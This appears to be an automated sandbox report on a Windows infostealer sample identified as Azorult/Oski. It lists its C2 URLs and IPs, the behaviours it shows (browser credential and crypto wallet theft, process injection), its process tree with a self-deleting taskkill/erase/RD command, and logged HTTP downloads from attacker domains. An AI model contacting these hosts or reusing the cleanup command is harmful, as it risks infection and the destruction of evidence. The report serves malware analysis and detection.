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Analysis

  • max time kernel
    1797s
  • max time network
    1811s
  • platform
    windows10_x64
  • resource
    win10v20201028
  • submitted
    20/11/2020, 14:34 UTC

General

  • Target

    0a9f79abd48b95544d7e2b6658637d1eb23067a94e10bf06d05c9ecc73cf4b51.exe

Malware Config

Extracted

Family

azorult

C2

http://195.245.112.115/index.php

Signatures

  • Azorult

    An information stealer that was first discovered in 2016, targeting browsing history and passwords.

  • Oski

    Oski is an infostealer targeting browser data, crypto wallets.

  • Downloads MZ/PE file
  • Executes dropped EXE 3 IoCs
  • Loads dropped DLL 3 IoCs
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Suspicious use of SetThreadContext 2 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Checks processor information in registry 2 TTPs 1 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Kills process with taskkill 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 3 IoCs
  • Suspicious use of WriteProcessMemory 30 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\0a9f79abd48b95544d7e2b6658637d1eb23067a94e10bf06d05c9ecc73cf4b51.exe
    "C:\Users\Admin\AppData\Local\Temp\0a9f79abd48b95544d7e2b6658637d1eb23067a94e10bf06d05c9ecc73cf4b51.exe"
    1⤵
    • Suspicious use of SetThreadContext
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:424
    • C:\Users\Admin\AppData\Local\Temp\ozchgftrq.exe
      "C:\Users\Admin\AppData\Local\Temp\ozchgftrq.exe"
      2⤵
      • Executes dropped EXE
      • Suspicious use of SetThreadContext
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:188
      • C:\Users\Admin\AppData\Local\Temp\ozchgftrq.exe
        "{path}"
        3⤵
        • Executes dropped EXE
        PID:1512
      • C:\Users\Admin\AppData\Local\Temp\ozchgftrq.exe
        "{path}"
        3⤵
        • Executes dropped EXE
        • Loads dropped DLL
        • Checks processor information in registry
        • Suspicious use of WriteProcessMemory
        PID:1304
        • C:\Windows\SysWOW64\cmd.exe
          "C:\Windows\System32\cmd.exe" /c taskkill /pid 1304 & erase C:\Users\Admin\AppData\Local\Temp\ozchgftrq.exe & RD /S /Q C:\\ProgramData\\566008868267324\\* & exit
          4⤵
          • Suspicious use of WriteProcessMemory
          PID:580
          • C:\Windows\SysWOW64\taskkill.exe
            taskkill /pid 1304
            5⤵
            • Kills process with taskkill
            • Suspicious use of AdjustPrivilegeToken
            PID:1324
    • C:\Users\Admin\AppData\Local\Temp\0a9f79abd48b95544d7e2b6658637d1eb23067a94e10bf06d05c9ecc73cf4b51.exe
      "{path}"
      2⤵
        PID:2268

    Network

    • flag-unknown
      GET
      http://217.8.117.77/ozchgftrq.exe
      0a9f79abd48b95544d7e2b6658637d1eb23067a94e10bf06d05c9ecc73cf4b51.exe
      Remote address:
      217.8.117.77:80
      Request
      GET /ozchgftrq.exe HTTP/1.1
      Host: 217.8.117.77
      Connection: Keep-Alive
      Response
      HTTP/1.1 200 OK
      Date: Fri, 20 Nov 2020 14:44:54 GMT
      Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.4.16
      Last-Modified: Wed, 18 Nov 2020 15:32:08 GMT
      ETag: "6b800-5b4635079f019"
      Accept-Ranges: bytes
      Content-Length: 440320
      Keep-Alive: timeout=5, max=100
      Connection: Keep-Alive
      Content-Type: application/octet-stream
    • flag-unknown
      DNS
      morasergiox.ac.ug
      Remote address:
      8.8.8.8:53
      Request
      morasergiox.ac.ug
      IN A
      Response
      morasergiox.ac.ug
      IN A
      217.8.117.77
    • flag-unknown
      DNS
      morasergiox.ac.ug
      Remote address:
      8.8.8.8:53
      Request
      morasergiox.ac.ug
      IN A
      Response
      morasergiox.ac.ug
      IN A
      217.8.117.77
    • flag-unknown
      DNS
      morasergiox.ac.ug
      Remote address:
      8.8.8.8:53
      Request
      morasergiox.ac.ug
      IN A
      Response
    • flag-unknown
      POST
      http://morasergiox.ac.ug/index.php
      0a9f79abd48b95544d7e2b6658637d1eb23067a94e10bf06d05c9ecc73cf4b51.exe
      Remote address:
      217.8.117.77:80
      Request
      POST /index.php HTTP/1.1
      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0b; Windows NT 5.1)
      Host: morasergiox.ac.ug
      Content-Length: 101
      Cache-Control: no-cache
      Response
      HTTP/1.1 200 OK
      Date: Fri, 20 Nov 2020 14:44:59 GMT
      Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.4.16
      X-Powered-By: PHP/5.4.16
      Transfer-Encoding: chunked
      Content-Type: text/html
    • flag-unknown
      DNS
      taenaiaa.ac.ug
      Remote address:
      8.8.8.8:53
      Request
      taenaiaa.ac.ug
      IN A
      Response
    • flag-unknown
      DNS
      taenaiaa.ac.ug
      Remote address:
      8.8.8.8:53
      Request
      taenaiaa.ac.ug
      IN A
      Response
    • flag-unknown
      DNS
      taenaiaa.ac.ug
      Remote address:
      8.8.8.8:53
      Request
      taenaiaa.ac.ug
      IN A
      Response
    • flag-unknown
      DNS
      taenaiaa.ac.ug
      Remote address:
      8.8.8.8:53
      Request
      taenaiaa.ac.ug
      IN A
      Response
    • flag-unknown
      DNS
      taenaiaa.ac.ug
      Remote address:
      8.8.8.8:53
      Request
      taenaiaa.ac.ug
      IN A
      Response
      taenaiaa.ac.ug
      IN A
      217.8.117.77
    • flag-unknown
      POST
      http://taenaiaa.ac.ug/sqlite3.dll
      ozchgftrq.exe
      Remote address:
      217.8.117.77:80
      Request
      POST /sqlite3.dll HTTP/1.1
      Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1
      Accept-Language: ru-RU,ru;q=0.9,en;q=0.8
      Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1
      Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0
      Content-Type: multipart/form-data; boundary=1BEF0A57BE110FD467A
      Content-Length: 25
      Host: taenaiaa.ac.ug
      Connection: Keep-Alive
      Cache-Control: no-cache
      Response
      HTTP/1.1 200 OK
      Date: Fri, 20 Nov 2020 14:45:44 GMT
      Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.4.16
      Last-Modified: Sun, 06 Aug 2017 19:52:20 GMT
      ETag: "9d9d8-5561b116cc500"
      Accept-Ranges: bytes
      Content-Length: 645592
      Keep-Alive: timeout=5, max=100
      Connection: Keep-Alive
      Content-Type: application/octet-stream
    • flag-unknown
      POST
      http://taenaiaa.ac.ug/freebl3.dll
      ozchgftrq.exe
      Remote address:
      217.8.117.77:80
      Request
      POST /freebl3.dll HTTP/1.1
      Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1
      Accept-Language: ru-RU,ru;q=0.9,en;q=0.8
      Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1
      Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0
      Content-Type: multipart/form-data; boundary=1BEF0A57BE110FD467A
      Content-Length: 25
      Host: taenaiaa.ac.ug
      Connection: Keep-Alive
      Cache-Control: no-cache
      Response
      HTTP/1.1 200 OK
      Date: Fri, 20 Nov 2020 14:45:44 GMT
      Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.4.16
      Last-Modified: Thu, 06 Jun 2019 04:00:58 GMT
      ETag: "519d0-58a9fc2e87280"
      Accept-Ranges: bytes
      Content-Length: 334288
      Keep-Alive: timeout=5, max=99
      Connection: Keep-Alive
      Content-Type: application/octet-stream
    • flag-unknown
      POST
      http://taenaiaa.ac.ug/mozglue.dll
      ozchgftrq.exe
      Remote address:
      217.8.117.77:80
      Request
      POST /mozglue.dll HTTP/1.1
      Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1
      Accept-Language: ru-RU,ru;q=0.9,en;q=0.8
      Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1
      Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0
      Content-Type: multipart/form-data; boundary=1BEF0A57BE110FD467A
      Content-Length: 25
      Host: taenaiaa.ac.ug
      Connection: Keep-Alive
      Cache-Control: no-cache
      Response
      HTTP/1.1 200 OK
      Date: Fri, 20 Nov 2020 14:45:44 GMT
      Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.4.16
      Last-Modified: Thu, 06 Jun 2019 04:01:20 GMT
      ETag: "217d0-58a9fc4382400"
      Accept-Ranges: bytes
      Content-Length: 137168
      Keep-Alive: timeout=5, max=98
      Connection: Keep-Alive
      Content-Type: application/octet-stream
    • flag-unknown
      POST
      http://taenaiaa.ac.ug/msvcp140.dll
      ozchgftrq.exe
      Remote address:
      217.8.117.77:80
      Request
      POST /msvcp140.dll HTTP/1.1
      Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1
      Accept-Language: ru-RU,ru;q=0.9,en;q=0.8
      Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1
      Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0
      Content-Type: multipart/form-data; boundary=1BEF0A57BE110FD467A
      Content-Length: 25
      Host: taenaiaa.ac.ug
      Connection: Keep-Alive
      Cache-Control: no-cache
      Response
      HTTP/1.1 200 OK
      Date: Fri, 20 Nov 2020 14:45:45 GMT
      Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.4.16
      Last-Modified: Thu, 06 Jun 2019 04:01:30 GMT
      ETag: "6b738-58a9fc4d0ba80"
      Accept-Ranges: bytes
      Content-Length: 440120
      Keep-Alive: timeout=5, max=97
      Connection: Keep-Alive
      Content-Type: application/octet-stream
    • flag-unknown
      POST
      http://taenaiaa.ac.ug/nss3.dll
      ozchgftrq.exe
      Remote address:
      217.8.117.77:80
      Request
      POST /nss3.dll HTTP/1.1
      Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1
      Accept-Language: ru-RU,ru;q=0.9,en;q=0.8
      Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1
      Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0
      Content-Type: multipart/form-data; boundary=1BEF0A57BE110FD467A
      Content-Length: 25
      Host: taenaiaa.ac.ug
      Connection: Keep-Alive
      Cache-Control: no-cache
      Response
      HTTP/1.1 200 OK
      Date: Fri, 20 Nov 2020 14:45:45 GMT
      Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.4.16
      Last-Modified: Thu, 06 Jun 2019 04:01:44 GMT
      ETag: "1303d0-58a9fc5a65a00"
      Accept-Ranges: bytes
      Content-Length: 1246160
      Keep-Alive: timeout=5, max=96
      Connection: Keep-Alive
      Content-Type: application/octet-stream
    • flag-unknown
      POST
      http://taenaiaa.ac.ug/vcruntime140.dll
      ozchgftrq.exe
      Remote address:
      217.8.117.77:80
      Request
      POST /vcruntime140.dll HTTP/1.1
      Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1
      Accept-Language: ru-RU,ru;q=0.9,en;q=0.8
      Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1
      Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0
      Content-Type: multipart/form-data; boundary=1BEF0A57BE110FD467A
      Content-Length: 25
      Host: taenaiaa.ac.ug
      Connection: Keep-Alive
      Cache-Control: no-cache
      Response
      HTTP/1.1 200 OK
      Date: Fri, 20 Nov 2020 14:45:45 GMT
      Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.4.16
      Last-Modified: Thu, 06 Jun 2019 04:02:02 GMT
      ETag: "14748-58a9fc6b90280"
      Accept-Ranges: bytes
      Content-Length: 83784
      Keep-Alive: timeout=5, max=95
      Connection: Keep-Alive
      Content-Type: application/octet-stream
    • flag-unknown
      POST
      http://taenaiaa.ac.ug/main.php
      ozchgftrq.exe
      Remote address:
      217.8.117.77:80
      Request
      POST /main.php HTTP/1.1
      Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1
      Accept-Language: ru-RU,ru;q=0.9,en;q=0.8
      Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1
      Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0
      Content-Type: multipart/form-data; boundary=1BEF0A57BE110FD467A
      Content-Length: 25
      Host: taenaiaa.ac.ug
      Connection: Keep-Alive
      Cache-Control: no-cache
      Response
      HTTP/1.1 200 OK
      Date: Fri, 20 Nov 2020 14:45:46 GMT
      Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.4.16
      X-Powered-By: PHP/5.4.16
      Keep-Alive: timeout=5, max=94
      Connection: Keep-Alive
      Transfer-Encoding: chunked
      Content-Type: text/html
    • flag-unknown
      POST
      http://taenaiaa.ac.ug/
      ozchgftrq.exe
      Remote address:
      217.8.117.77:80
      Request
      POST / HTTP/1.1
      Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1
      Accept-Language: ru-RU,ru;q=0.9,en;q=0.8
      Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1
      Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0
      Content-Type: multipart/form-data; boundary=1BEF0A57BE110FD467A
      Content-Length: 52592
      Host: taenaiaa.ac.ug
      Connection: Keep-Alive
      Cache-Control: no-cache
      Response
      HTTP/1.1 200 OK
      Date: Fri, 20 Nov 2020 14:45:46 GMT
      Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.4.16
      X-Powered-By: PHP/5.4.16
      Keep-Alive: timeout=5, max=93
      Connection: Keep-Alive
      Transfer-Encoding: chunked
      Content-Type: text/html
    • 217.8.117.77:80
      http://217.8.117.77/ozchgftrq.exe
      http
      0a9f79abd48b95544d7e2b6658637d1eb23067a94e10bf06d05c9ecc73cf4b51.exe
      7.3kB
      452.9kB
      156
      306

      HTTP Request

      GET http://217.8.117.77/ozchgftrq.exe

      HTTP Response

      200
    • 217.8.117.77:80
      http://morasergiox.ac.ug/index.php
      http
      0a9f79abd48b95544d7e2b6658637d1eb23067a94e10bf06d05c9ecc73cf4b51.exe
      541 B
      399 B
      6
      4

      HTTP Request

      POST http://morasergiox.ac.ug/index.php

      HTTP Response

      200
    • 217.8.117.77:80
      http://taenaiaa.ac.ug/
      http
      ozchgftrq.exe
      151.2kB
      3.0MB
      2061
      2030

      HTTP Request

      POST http://taenaiaa.ac.ug/sqlite3.dll

      HTTP Response

      200

      HTTP Request

      POST http://taenaiaa.ac.ug/freebl3.dll

      HTTP Response

      200

      HTTP Request

      POST http://taenaiaa.ac.ug/mozglue.dll

      HTTP Response

      200

      HTTP Request

      POST http://taenaiaa.ac.ug/msvcp140.dll

      HTTP Response

      200

      HTTP Request

      POST http://taenaiaa.ac.ug/nss3.dll

      HTTP Response

      200

      HTTP Request

      POST http://taenaiaa.ac.ug/vcruntime140.dll

      HTTP Response

      200

      HTTP Request

      POST http://taenaiaa.ac.ug/main.php

      HTTP Response

      200

      HTTP Request

      POST http://taenaiaa.ac.ug/

      HTTP Response

      200
    • 8.8.8.8:53
      morasergiox.ac.ug
      dns
      189 B
      221 B
      3
      3

      DNS Request

      morasergiox.ac.ug

      DNS Request

      morasergiox.ac.ug

      DNS Request

      morasergiox.ac.ug

      DNS Response

      217.8.117.77

      DNS Response

      217.8.117.77

    • 8.8.8.8:53
      taenaiaa.ac.ug
      dns
      240 B
      240 B
      4
      4

      DNS Request

      taenaiaa.ac.ug

      DNS Request

      taenaiaa.ac.ug

      DNS Request

      taenaiaa.ac.ug

      DNS Request

      taenaiaa.ac.ug

    • 8.8.8.8:53
      taenaiaa.ac.ug
      dns
      60 B
      76 B
      1
      1

      DNS Request

      taenaiaa.ac.ug

      DNS Response

      217.8.117.77

    MITRE ATT&CK Enterprise v6

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • memory/188-24-0x00000000081D0000-0x0000000008229000-memory.dmp

      Filesize

      356KB

    • memory/188-17-0x0000000000420000-0x0000000000421000-memory.dmp

      Filesize

      4KB

    • memory/188-14-0x0000000073D50000-0x000000007443E000-memory.dmp

      Filesize

      6.9MB

    • memory/424-8-0x0000000006F10000-0x0000000006F57000-memory.dmp

      Filesize

      284KB

    • memory/424-3-0x00000000056F0000-0x00000000056F1000-memory.dmp

      Filesize

      4KB

    • memory/424-1-0x0000000000920000-0x0000000000921000-memory.dmp

      Filesize

      4KB

    • memory/424-9-0x0000000007000000-0x0000000007001000-memory.dmp

      Filesize

      4KB

    • memory/424-4-0x00000000052F0000-0x00000000052F1000-memory.dmp

      Filesize

      4KB

    • memory/424-0-0x0000000073D50000-0x000000007443E000-memory.dmp

      Filesize

      6.9MB

    • memory/424-7-0x0000000008990000-0x00000000089A4000-memory.dmp

      Filesize

      80KB

    • memory/424-6-0x0000000008DD0000-0x0000000008DD1000-memory.dmp

      Filesize

      4KB

    • memory/424-5-0x0000000005450000-0x0000000005451000-memory.dmp

      Filesize

      4KB

    • memory/1304-30-0x0000000000400000-0x0000000000434000-memory.dmp

      Filesize

      208KB

    • memory/1304-27-0x0000000000400000-0x0000000000434000-memory.dmp

      Filesize

      208KB

    • memory/2268-16-0x0000000000400000-0x0000000000420000-memory.dmp

      Filesize

      128KB

    • memory/2268-13-0x0000000000400000-0x0000000000420000-memory.dmp

      Filesize

      128KB

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